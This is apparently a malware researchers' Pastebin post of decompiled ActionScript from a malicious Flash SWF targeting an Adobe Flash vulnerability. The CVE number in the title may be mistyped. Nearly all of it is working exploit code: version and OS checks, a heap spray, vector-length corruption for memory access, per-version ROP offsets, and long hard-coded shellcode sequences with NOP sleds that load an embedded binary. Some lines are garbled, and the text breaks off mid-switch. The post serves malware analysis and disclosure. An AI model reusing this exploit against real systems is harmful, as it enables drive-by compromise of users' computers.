Advertisement
MalwareMustDie

#MalwareMustDie - SWF of CVE-2013-6034 jinxed + decompiled

Feb 10th, 2013
1,921
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 63.21 KB | None | 0 0
  1. // #MalwareMustDie
  2. // SWF of CVE-2013-6034 decompiled
  3.  
  4.  
  5. package mx.core {
  6.  
  7. public namespace mx_internal = "h00p://www.adobe.com/2006/flex/mx/internal";
  8. } //package mx.core
  9. package mx.core {
  10.  
  11. public interface IFlexAsset {
  12.  
  13. } //package mx.core
  14. package mx.core {
  15. import flash.utils.*;
  16.  
  17. public class ByteArrayAsset extends ByteArray implements IFlexAsset {
  18.  
  19. mx_internal static const version: string = "4.6.0.23201";
  20.  
  21. } //package mx.core
  22. package {
  23. import __AS3__.vec.*;
  24. import flash.display.*;
  25. import flash.utils.*;
  26. import flash.text.*;
  27. import flash.system.*;
  28. import flash.media.*;
  29. import flash.net.*;
  30.  
  31. public class LadyBoyle extends Sprite {
  32.  
  33. private
  34. var the_x32_Class: class;
  35. private
  36. var the_x64_Class: class;
  37. public
  38. var version;
  39.  
  40. public
  41. function LadyBoyle() {
  42. var _local2: string;
  43. var _local23: number;
  44. var _local24: string;
  45. var _local25: uint;
  46. var _local26: uint;
  47. var _local27: string;
  48. var _local28: ByteArray;
  49. var _local29: Vector. < uint > ;
  50. var _local30: Vector. < uint > ;
  51. var _local31: uint;
  52. var _local32: uint;
  53. var _local33: uint;
  54. var _local34: * ;
  55. var _local35: ByteArray;
  56. var _local36: uint;
  57. var _local37: uint;
  58. var _local38: uint;
  59. var _local39: uint;
  60. var _local40: uint;
  61. this.the_x32_Class = LadyBoyle_the_x32_Class;
  62. this.the_x64_Class = LadyBoyle_the_x64_Class;
  63. this.version = capabilities.version.tolowercase()
  64. .tostring();
  65. super();
  66. var _local1: uint;
  67. var _local3: uint;
  68. var _local4: ByteArray = new ByteArray();
  69. var _local5: Vector. < Object > = new < Object > [];
  70. var _local6: sound = new sound();
  71. var _local7: uint;
  72. var _local8: uint;
  73. var _local9: uint;
  74. var _local10: uint;
  75. var _local11: uint;
  76. var _local12: uint;
  77. var _local13: uint;
  78. var _local14: uint;
  79. var _local15: uint;
  80. var _local16: uint;
  81. var _local17: ByteArray = _local4;
  82. switch (this.version) { /// get the version and select case of it..
  83. case "win 11,5,502,146":
  84. break;
  85. case "win 11,5,502,135":
  86. break;
  87. case "win 11,5,502,110":
  88. break;
  89. case "win 11,4,402,287":
  90. break;
  91. case "win 11,4,402,278":
  92. break;
  93. case "win 11,4,402,265":
  94. break;
  95. default:
  96. return (this.empty());
  97. };
  98. var _local18: sharedobject = sharedobject.getlocal("ImplentenstWell");
  99. if (_local18.size != 0) {
  100. _local23 = (new date()
  101. .time - _local18.data.now);
  102. if (_local23 > ((((7 * 24) * 60) * 60) * 1000)) {
  103. _local18.close();
  104. } else {
  105. return (this.empty());
  106. };
  107. };
  108. var _local19: string = capabilities.os.tolowercase()
  109. .tostring();
  110. switch (_local19) {
  111. case "windows 7":
  112. break;
  113. case "windows server 2008 r2":
  114. break;
  115. case "windows server 2008":
  116. break;
  117. case "windows server 2003 r2":
  118. break;
  119. case "windows server 2003":
  120. break;
  121. case "windows xp":
  122. break;
  123. case "windows vista":
  124. break;
  125. default:
  126. return (this.empty());
  127. };
  128. _local1 = 0;
  129. while (_local1 < 0x4000) {
  130. _local24 = "";
  131. _local3 = 0;
  132. while (_local3 < 42) {
  133. _local24 = (_local24 + string.fromcharcode(this.randRange(97, 122)));
  134. _local3++;
  135. };
  136. _local5[_local1] = new < Object > [new RegExp(_local24, ""), new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _locallocal4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _loca new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4,cal4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4ocal4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _locallocal4], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4]];
  137. _local1++;
  138. };
  139. _local1 = 8210;
  140. while (_local1 < (0x4000 - 1)) {
  141. if ((_local1 % 2) != 0) {
  142. _local5[_local1][2] = null;
  143. };
  144. _local1++;
  145. };
  146. _local2 = "(?i)()()(?-i)||||||||||||||||||||||";
  147. var _local20: RegExp = new RegExp(_local2, "");
  148. var _local21: boolean;
  149. var _local22: uint;
  150. _local1 = 0;
  151. while (_local1 < 0x4000) {
  152. if (_local21) {
  153. break;
  154. };
  155. _local8 = 1;
  156. while (_local8 <= 8) {
  157. try {
  158. if ((_local5[_local1][_local8] as Vector. < Number > )
  159. .length > 17) {
  160. _local7 = _local1;
  161. _local22 = _local8;
  162. _local21 = true;
  163. break;
  164. };
  165. } catch (e: error) {};
  166. _local8++;
  167. };
  168. _local1++;
  169. };
  170. if (!_local21) {
  171. do {} while (1);
  172. };
  173. if (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), 17)[0] == 16) {
  174. _local9 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), 17)[1];
  175. (_local5[_local7][_local22] as Vector. < Number > )[17] = this.UintToDouble(0xFFFFFFFF, _local9);
  176. (_local5[_local7][_local22] as Vector. < Number > )[18] = this.UintToDouble(0x41414141, 0);
  177. _local21 = false;
  178. _local1 = 0;
  179. while (_local1 < 0x4000) {
  180. if (_local21) {
  181. break;
  182. };
  183. _local8 = 1;
  184. while (_local8 <= 8) {
  185. try {
  186. if (this.ReadDouble((_local5[_local1][_local8] as Vector. < Number > ), 0)[0] == 0x41414141) {
  187. _local7 = _local1;
  188. _local22 = _local8;
  189. _local21 = true;
  190. break;
  191. };
  192. } catch (e: error) {};
  193. _local8++;
  194. };
  195. _local1++;
  196. };
  197. if (!_local21) {
  198. do {} while (1);
  199. };
  200. (_local5[_local7][_local22] as Vector. < Number > )[536870893] = this.UintToDouble(16, _local9);
  201. _local1 = 0;
  202. while (_local1 < 0x1000) {
  203. if ((((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local1)[1] == 32)) && ((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 1))[0] == 1)))) {
  204. _local11 = (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 1))[1] & 0xFFFFFFF8);
  205. _local12 = (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 2))[0] & 0xFFFFFFF8);
  206. _local13 = _local12;
  207. break;
  208. };
  209. _local1++;
  210. };
  211. if (_local1 == 0x1000) {
  212. (_local5[_local7][_local22] as Vector. < Number > )[536870911] = this.UintToDouble(16, _local9);
  213. return;
  214. };
  215. _local1 = 0;
  216. while (_local1 < 0x4000) {
  217. _local8 = 1;
  218. while (_local8 <= 8) {
  219. if (!(((_local1 == _local7)) && ((_local8 == _local22)))) {
  220. _local5[_local1][_local8] = null;
  221. };
  222. _local8++;
  223. };
  224. _local1++;
  225. };
  226. _local1 = 1;
  227. while (_local1 < 4) {
  228. _local29 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), ((17 * _local1) + (_local1 - 1)));
  229. _local30 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), ((17 * (_local1 + 1)) + _local1));
  230. if ((((((((((_local29[1] == _local9)) && ((_local30[1] == _local9)))) && ((_local29[1] < _local29[0])))) && ((_local30[1] < _local30[0])))) && (((_local30[0] - _local29[0]) == 144)))) {
  231. _local10 = (_local29[0] - (144 * (_local1 + 1)));
  232. break;
  233. };
  234. _local1++;
  235. };
  236. if (_local10 == 0) {
  237. (_local5[_local7][_local22] as Vector. < Number > )[536870911] = this.UintToDouble(16, _local9);
  238. return;
  239. };
  240. _local1 = 0;
  241. while (_local1 < (0x0400 * 100)) {
  242. _local17.writeUnsignedInt(0x41414141);
  243. _local1++;
  244. };
  245. _local15 = ((((_local12 + 64) - _local10) - 8) / 8);
  246. _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  247. _local15 = ((((_local12 + 8) - _local10) - 8) / 8);
  248. _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  249. _local12 = (_local12 + _local17.position);
  250. _local14 = _local17.position;
  251. _local15 = (((_local11 - _local10) - 8) / 8);
  252. _local16 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  253. _local25 = 0;
  254. _local26 = 0;
  255. _local27 = capabilities.version.tolowercase();
  256. switch (_local27) {
  257. case "win 11,5,502,146":
  258. if (capabilities.playertype.tolowercase() == "activex") { ///// this will check the player type
  259. _local25 = (_local16 - 1838536); ///// and execute value if it is activex
  260. _local26 = (_local16 - 574720);
  261. };
  262. break;
  263. case "win 11,5,502,135":
  264. if (capabilities.playertype.tolowercase() == "activex") {
  265. _local25 = (_local16 - 2266027);
  266. _local26 = (_local16 - 574864);
  267. };
  268. break;
  269. case "win 11,5,502,110":
  270. if (capabilities.playertype.tolowercase() == "activex") {
  271. _local25 = (_local16 - 1600110);
  272. _local26 = (_local16 - 574424);
  273. };
  274. break;
  275. case "win 11,4,402,287":
  276. if (capabilities.playertype.tolowercase() == "activex") {
  277. _local25 = (_local16 - 4624790);
  278. _local26 = (_local16 - 574196);
  279. };
  280. break;
  281. case "win 11,4,402,278":
  282. if (capabilities.playertype.tolowercase() == "activex") {
  283. _local25 = (_local16 - 1227937);
  284. _local26 = (_local16 - 573876);
  285. };
  286. break;
  287. case "win 11,4,402,265":
  288. if (capabilities.playertype.tolowercase() == "activex") {
  289. _local25 = (_local16 - 7925883);
  290. _local26 = (_local16 - 573876);
  291. };
  292. break;
  293. default: ////// without activeX too.....
  294.  
  295. (_local5[_local7][_local22] as Vector. < Number > )[536870911] = this.UintToDouble(16, _local9);
  296. return;
  297. };
  298. if ((((((_local27 == "win 11,5,502,110")) || ((_local27 == "win 11,5,502,135")))) || ((_local27 == "win 11,5,502,146")))) {
  299. _local15 = (((_local26 - _local10) - 8) / 8);
  300. _local26 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  301. } else {
  302. _local15 = ((((_local26 - 4) - _local10) - 8) / 8);
  303. _local26 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[1];
  304. };
  305. _local17.endian = Endian.LITTLE_ENDIAN;
  306. _local17.position = (_local17.position + 112);
  307. _local17.writeUnsignedInt(_local25);
  308. _local17.position = ((_local17.position - 112) - 4);
  309. _local17.writeUnsignedInt(_local26);
  310. _local17.writeUnsignedInt((_local12 + 136));
  311. _local17.writeUnsignedInt(_local12);
  312. _local17.writeUnsignedInt(0x2000);
  313. _local17.writeUnsignedInt(0x1000);
  314. _local17.writeUnsignedInt(64);
  315. _local17.position = (_local17.position + 112);
  316. _local17.writeUnsignedInt(3968045260);
  317. _local17.writeUnsignedInt(1692087152);
  318. _local17.writeUnsignedInt(2333629323);
  319. _local17.writeUnsignedInt(1535848539);
  320. _local17.writeUnsignedInt(475761420);
  321. _local17.writeUnsignedInt(2332578699);
  322. _local17.writeUnsignedInt(2089499770);
  323. _local17.writeUnsignedInt(3163368506);
  324. _local17.writeUnsignedInt(0xE0003A);
  325. _local17.writeUnsignedInt(0x408BB800);
  326. _local17.writeUnsignedInt(121226032);
  327. _local17.writeUnsignedInt(3947299700);
  328. _local17.writeUnsignedInt(1760529401);
  329. _local17.writeUnsignedInt(0x6C0065);
  330. _local17.writeUnsignedInt(0x6E007268);
  331. _local17.writeUnsignedInt(0x6B6800);
  332. _local17.writeUnsignedInt(0x33FC0065);
  333. _local17.writeUnsignedInt(2333838281);
  334. _local17.writeUnsignedInt(544967668);
  335. _local17.writeUnsignedInt(2817721265);
  336. _local17.writeUnsignedInt(1535898485);
  337. _local17.writeUnsignedInt(1012108040);
  338. _local17.writeUnsignedInt(2014991499);
  339. _local17.writeUnsignedInt(3961144461);
  340. _local17.writeUnsignedInt(1418450431);
  341. _local17.writeUnsignedInt(3540197402);
  342. _local17.writeUnsignedInt(3375612675);
  343. _local17.writeUnsignedInt(4328);
  344. _local17.writeUnsignedInt(0x74655300);
  345. _local17.writeUnsignedInt(1701996628);
  346. _local17.writeUnsignedInt(1866687585);
  347. _local17.writeUnsignedInt(2019914862);
  348. _local17.writeUnsignedInt(607423348);
  349. _local17.writeUnsignedInt(4211292811);
  350. _local17.writeUnsignedInt(2817721521);
  351. _local17.writeUnsignedInt(3263367284);
  352. _local17.writeUnsignedInt(79725316);
  353. _local17.writeUnsignedInt(277605355);
  354. _local17.writeUnsignedInt(3224621827);
  355. _local17.writeUnsignedInt(548522123);
  356. _local17.writeUnsignedInt(2884893835);
  357. _local17.writeUnsignedInt(270795975);
  358. _local17.writeUnsignedInt(0x54000100);
  359. _local17.writeUnsignedInt(3539992170);
  360. _local17.writeUnsignedInt(0x90909090);
  361. _local17.writeUnsignedInt(0x90909090);
  362. _local17.writeUnsignedInt(0x90909090);
  363. _local17.writeUnsignedInt(0x90909090);
  364. _local17.writeUnsignedInt(15499616);
  365. _local17.writeUnsignedInt(0x8B000004);
  366. _local17.writeUnsignedInt(1548208124);
  367. _local17.writeUnsignedInt(0x41414141);
  368. _local17.writeUnsignedInt(1481099152);
  369. _local17.writeUnsignedInt(0x42424242);
  370. _local17.writeUnsignedInt(1949435847);
  371. _local17.writeUnsignedInt(1204227217);
  372. _local17.writeUnsignedInt(169053700);
  373. _local17.writeUnsignedInt(138921900);
  374. _local17.writeUnsignedInt(2206065209);
  375. _local17.writeUnsignedInt(2399946695);
  376. _local17.writeUnsignedInt(3345029362);
  377. _local17.writeUnsignedInt(848498759);
  378. _local17.writeUnsignedInt(1204262116);
  379. _local17.writeUnsignedInt(2614448148);
  380. _local17.writeUnsignedInt(407357387);
  381. _local17.writeUnsignedInt(3685531203);
  382. _local17.writeUnsignedInt(2988197831);
  383. _local17.writeUnsignedInt(3339915062);
  384. _local17.writeUnsignedInt(2378440775);
  385. _local17.writeUnsignedInt(1204253727);
  386. _local17.writeUnsignedInt(2721009956);
  387. _local17.writeUnsignedInt(675792641);
  388. _local17.writeUnsignedInt(4279068247);
  389. _local17.writeUnsignedInt(2603370439);
  390. _local17.writeUnsignedInt(3353709447);
  391. _local17.writeUnsignedInt(2951557191);
  392. _local17.writeUnsignedInt(1204270335);
  393. _local17.writeUnsignedInt(1259979316);
  394. _local17.writeUnsignedInt(944228097);
  395. _local17.writeUnsignedInt(2594566269);
  396. _local17.writeUnsignedInt(3829155783);
  397. _local17.writeUnsignedInt(3351614507);
  398. _local17.writeUnsignedInt(2649505863);
  399. _local17.writeUnsignedInt(1204266079);
  400. _local17.writeUnsignedInt(863489092);
  401. _local17.writeUnsignedInt(19392911);
  402. _local17.writeUnsignedInt(0xC0330000);
  403. _local17.writeUnsignedInt(3187044);
  404. _local17.writeUnsignedInt(0x408B0000);
  405. _local17.writeUnsignedInt(339774220);
  406. _local17.writeUnsignedInt(0x8B008B);
  407. _local17.writeUnsignedInt(2333098123);
  408. _local17.writeUnsignedInt(1794608104);
  409. _local17.writeUnsignedInt(3253229841);
  410. _local17.writeUnsignedInt(0xE2000000);
  411. _local17.writeUnsignedInt(2179894265);
  412. _local17.writeUnsignedInt(262380);
  413. _local17.writeUnsignedInt(0x89C03300);
  414. _local17.writeUnsignedInt(2106273861);
  415. _local17.writeUnsignedInt(2170508380);
  416. _local17.writeUnsignedInt(131308);
  417. _local17.writeUnsignedInt(0x685700);
  418. _local17.writeUnsignedInt(0xFF000001);
  419. _local17.writeUnsignedInt(3224569941);
  420. _local17.writeUnsignedInt(121405504);
  421. _local17.writeUnsignedInt(0x89F97500);
  422. _local17.writeUnsignedInt(80175173);
  423. _local17.writeUnsignedInt(1667391751);
  424. _local17.writeUnsignedInt(121947950);
  425. _local17.writeUnsignedInt(1734763268);
  426. _local17.writeUnsignedInt(0x6A006A00);
  427. _local17.writeUnsignedInt(0x6A026A00);
  428. _local17.writeUnsignedInt(0x68006A00);
  429. _local17.writeUnsignedInt(0x40000000);
  430. _local17.writeUnsignedInt(272993111);
  431. _local17.writeUnsignedInt(18920);
  432. _local17.writeUnsignedInt(0xF88300);
  433. _local17.writeUnsignedInt(1166619262);
  434. _local17.writeUnsignedInt(1078314804);
  435. _local17.writeUnsignedInt(0);
  436. _local17.writeUnsignedInt(0x458D006A);
  437. _local17.writeUnsignedInt(1979666500);
  438. _local17.writeUnsignedInt(1551236952);
  439. _local17.writeUnsignedInt(4281628159);
  440. _local17.writeUnsignedInt(1979654229);
  441. _local17.writeUnsignedInt(676724532);
  442. _local17.writeUnsignedInt(541443927);
  443. _local17.writeUnsignedInt(1098385763);
  444. _local17.writeUnsignedInt(0xE800458B);
  445. _local17.writeUnsignedInt(18);
  446. _local17.writeUnsignedInt(130335873);
  447. _local17.writeUnsignedInt(0x8D610000);
  448. _local17.writeUnsignedInt(1791218789);
  449. _local17.writeUnsignedInt(0xFFFF6AFF);
  450. _local17.writeUnsignedInt(947915861);
  451. _local17.writeUnsignedInt(2148168936);
  452. _local17.writeUnsignedInt(91547960);
  453. _local17.writeUnsignedInt(1978349696);
  454. _local17.writeUnsignedInt(91783441);
  455. _local17.writeUnsignedInt(0x90909090);
  456. _local17.writeUnsignedInt(4287301748);
  457. _local17.writeUnsignedInt(2381089621);
  458. _local17.writeUnsignedInt(3774809408);
  459. _local17.writeUnsignedInt(1972065873);
  460. _local17.writeUnsignedInt(779389756);
  461. _local17.writeUnsignedInt(1458897784);
  462. _local17.writeUnsignedInt(52459147);
  463. _local17.writeUnsignedInt(1237922805);
  464. _local17.writeUnsignedInt(3305352513);
  465. _local17.writeUnsignedInt(3188710195);
  466. _local17.writeUnsignedInt(1960196624);
  467. _local17.writeUnsignedInt(130793736);
  468. _local17.writeUnsignedInt(3946895875);
  469. _local17.writeUnsignedInt(1964981233);
  470. _local17.writeUnsignedInt(1586192103);
  471. _local17.writeUnsignedInt(1725760292);
  472. _local17.writeUnsignedInt(2336951435);
  473. _local17.writeUnsignedInt(3707968606);
  474. _local17.writeUnsignedInt(59442315);
  475. _local17.writeUnsignedInt(1499376581);
  476. _local17.writeUnsignedInt(4275366083);
  477. _local17.writeUnsignedInt(2425421823);
  478. _local17.writeUnsignedInt(0x90909090);
  479. _local18.data.now = new date()
  480. .time;
  481. _local18.flush();
  482. _local18.close();
  483. _local28 = new this.the_x32_Class(); /// x32
  484. _local17.writeBytes(_local28, 0, _local28.length);
  485. _local12 = _local13;
  486. _local15 = ((((_local12 + 64) - _local10) - 8) / 8);
  487. _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  488. _local15 = ((((_local12 + 8) - _local10) - 8) / 8);
  489. _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  490. _local12 = (_local12 + _local14);
  491. _local17.position = (_local14 + 112); /// building x32 bit binary......
  492. _local17.writeUnsignedInt(_local25);
  493. _local17.position = ((_local17.position - 112) - 4);
  494. _local17.writeUnsignedInt(_local26);
  495. _local17.writeUnsignedInt((_local12 + 136));
  496. _local17.writeUnsignedInt(_local12);
  497. _local17.writeUnsignedInt(0x2000);
  498. _local17.writeUnsignedInt(0x1000);
  499. _local17.writeUnsignedInt(64);
  500. _local17.position = (_local17.position + 112);
  501. _local17.writeUnsignedInt(3968032912);
  502. _local17.writeUnsignedInt(1692087152);
  503. _local17.writeUnsignedInt(2333629323);
  504. _local17.writeUnsignedInt(1535848539);
  505. _local17.writeUnsignedInt(475761420);
  506. _local17.writeUnsignedInt(2332578699);
  507. _local17.writeUnsignedInt(2089499770);
  508. _local17.writeUnsignedInt(3163368506);
  509. _local17.writeUnsignedInt(0xE0003A);
  510. _local17.writeUnsignedInt(0x408BB800);
  511. _local17.writeUnsignedInt(121226032);
  512. _local17.writeUnsignedInt(3947299700);
  513. _local17.writeUnsignedInt(1760529401);
  514. _local17.writeUnsignedInt(0x6C0065);
  515. _local17.writeUnsignedInt(0x6E007268);
  516. _local17.writeUnsignedInt(0x6B6800);
  517. _local17.writeUnsignedInt(0x33FC0065);
  518. _local17.writeUnsignedInt(2333838281);
  519. _local17.writeUnsignedInt(544967668);
  520. _local17.writeUnsignedInt(2817721265);
  521. _local17.writeUnsignedInt(1535898485);
  522. _local17.writeUnsignedInt(1012108040);
  523. _local17.writeUnsignedInt(2014991499);
  524. _local17.writeUnsignedInt(3961144461);
  525. _local17.writeUnsignedInt(1418450431);
  526. _local17.writeUnsignedInt(3540197402);
  527. _local17.writeUnsignedInt(3375612675);
  528. _local17.writeUnsignedInt(4328);
  529. _local17.writeUnsignedInt(0x74655300);
  530. _local17.writeUnsignedInt(1701996628);
  531. _local17.writeUnsignedInt(1866687585);
  532. _local17.writeUnsignedInt(2019914862);
  533. _local17.writeUnsignedInt(607423348);
  534. _local17.writeUnsignedInt(4211292811);
  535. _local17.writeUnsignedInt(2817721521);
  536. _local17.writeUnsignedInt(3263367284);
  537. _local17.writeUnsignedInt(79725316);
  538. _local17.writeUnsignedInt(277605355);
  539. _local17.writeUnsignedInt(3224621827);
  540. _local17.writeUnsignedInt(548522123);
  541. _local17.writeUnsignedInt(2884893835);
  542. _local17.writeUnsignedInt(270795975);
  543. _local17.writeUnsignedInt(0x54000100);
  544. _local17.writeUnsignedInt(3539992170);
  545. _local17.writeUnsignedInt(0x90909090);
  546. _local17.writeUnsignedInt(0x90909090);
  547. _local17.writeUnsignedInt(0x90909090);
  548. _local17.writeUnsignedInt(0x90909090);
  549. _local17.writeUnsignedInt(552370528);
  550. _local17.writeUnsignedInt(0x8B000001);
  551. _local17.writeUnsignedInt(1548208124);
  552. _local17.writeUnsignedInt((((_local12 + 616) + 176) - 4));
  553. _local17.writeUnsignedInt(1481099152);
  554. _local17.writeUnsignedInt(_local28.length);
  555. _local15 = (((_local11 - _local10) - 8) / 8);
  556. (_local5[_local7][_local22] as Vector. < Number > )[_local15] = this.UintToDouble(_local12, this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[1]);
  557. new number(_local6.tostring());
  558. (_local5[_local7][_local22] as Vector. < Number > )[_local15] = this.UintToDouble(_local16, this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[1]);
  559. (_local5[_local7][_local22] as Vector. < Number > )[536870911] = this.UintToDouble(16, _local9);
  560. (_local5[_local7][_local22] as Vector. < Number > )[536870911] = this.UintToDouble(16, _local9);
  561. return;
  562. };
  563. if (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), 16)[0] == 16) {
  564. _local31 = 0;
  565. _local31 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), 17)[1];
  566. _local9 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), 17)[0];
  567. (_local5[_local7][_local22] as Vector. < Number > )[16] = this.UintToDouble(0xFFFFFFFF, 0);
  568. (_local5[_local7][_local22] as Vector. < Number > )[18] = this.UintToDouble(0x41414141, 0);
  569. _local32 = _local7;
  570. _local33 = _local22;
  571. _local21 = false;
  572. _local1 = 0;
  573. while (_local1 < 0x4000) {
  574. if (_local21) {
  575. break;
  576. };
  577. _local8 = 1;
  578. while (_local8 <= 8) {
  579. try {
  580. if (this.ReadDouble((_local5[_local1][_local8] as Vector. < Number > ), 0)[0] == 0x41414141) {
  581. _local7 = _local1;
  582. _local22 = _local8;
  583. _local21 = true;
  584. break;
  585. };
  586. } catch (e: error) {};
  587. _local8++;
  588. };
  589. _local1++;
  590. };
  591. if (!_local21) {
  592. do {} while (1);
  593. };
  594. _local1 = 0;
  595. while (_local1 < 0x1000) {
  596. if ((((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local1)[0] == 32)) && ((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 1))[0] == 1)))) {
  597. _local11 = (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 2))[0] & 0xFFFFFFF8);
  598. _local12 = (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 3))[0] & 0xFFFFFFF8);
  599. _local13 = _local12;
  600. break;
  601. };
  602. _local1++;
  603. };
  604. if (_local1 == 0x1000) {
  605. do {} while (1);
  606. };
  607. if (((!((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 2))[1] == _local31))) || (!((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 3))[1] == _local31))))) {
  608. do {} while (1);
  609. };
  610. _local1 = 0;
  611. while (_local1 < 0x4000) {
  612. _local8 = 1;
  613. while (_local8 <= 8) {
  614. if (((!((((_local1 == _local7)) && ((_local8 == _local22))))) && (!((((_local1 == _local32)) && ((_local8 == _local33))))))) {
  615. _local5[_local1][_local8] = null;
  616. };
  617. _local8++;
  618. };
  619. _local1++;
  620. };
  621. _local1 = 1;
  622. while (_local1 < 4) {
  623. _local29 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), ((16 * _local1) + (2 * (_local1 - 1))));
  624. _local30 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), ((16 * (_local1 + 1)) + (2 * ((_local1 + 1) - 1))));
  625. if ((((((_local29[1] < _local29[0])) && ((_local30[1] < _local30[0])))) && (((_local30[0] - _local29[0]) == 144)))) {
  626. _local10 = (_local29[0] - (144 * (_local1 + 1)));
  627. break;
  628. };
  629. _local1++;
  630. };
  631. if (_local10 == 0) {
  632. do {} while (1);
  633. };
  634. _local1 = 0;
  635. while (_local1 < (0x0400 * 100)) {
  636. _local17.writeUnsignedInt(0x41414141);
  637. _local1++;
  638. };
  639. _local15 = ((((_local12 + 128) - _local10) - 16) / 8);
  640. _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  641. _local15 = ((((_local12 + 16) - _local10) - 16) / 8);
  642. _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  643. _local12 = (_local12 + _local17.position);
  644. _local14 = _local17.position;
  645. _local15 = (((_local11 - _local10) - 16) / 8);
  646. _local16 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  647. _local25 = 0;
  648. _local26 = 0;
  649. _local27 = capabilities.version.tolowercase();
  650. switch (_local27) {
  651. case "win 11,5,502,146":
  652. if (capabilities.playertype.tolowercase() == "activex") { /// Exploit to Adobe Flash 11,5,502,146
  653. _local25 = (_local16 - 9071905);
  654. _local26 = (_local16 - 9089174);
  655. _local36 = (_local16 - 9060829);
  656. _local37 = (_local16 - 7731648);
  657. _local38 = (_local16 - 11089788);
  658. _local39 = (_local16 - 9449127);
  659. _local40 = (_local16 - 11110664);
  660. };
  661. break;
  662. case "win 11,5,502,135":
  663. if (capabilities.playertype.tolowercase() == "activex") { /// Exploit to Adobe Flash 11,5,502,135":
  664. _local25 = (_local16 - 9292362);
  665. _local26 = (_local16 - 9088790);
  666. _local36 = (_local16 - 8914426);
  667. _local37 = (_local16 - 7731936);
  668. _local38 = (_local16 - 9903898);
  669. _local39 = (_local16 - 9448767);
  670. _local40 = (_local16 - 3107441);
  671. };
  672. break;
  673. case "win 11,5,502,110":
  674. if (capabilities.playertype.tolowercase() == "activex") { /// Exploit to Adobe Flash 11,5,502,110":
  675. _local25 = (_local16 - 9071861);
  676. _local26 = (_local16 - 9089094);
  677. _local36 = (_local16 - 8914810);
  678. _local37 = (_local16 - 9484510);
  679. _local38 = (_local16 - 11089740);
  680. _local39 = (_local16 - 9449051);
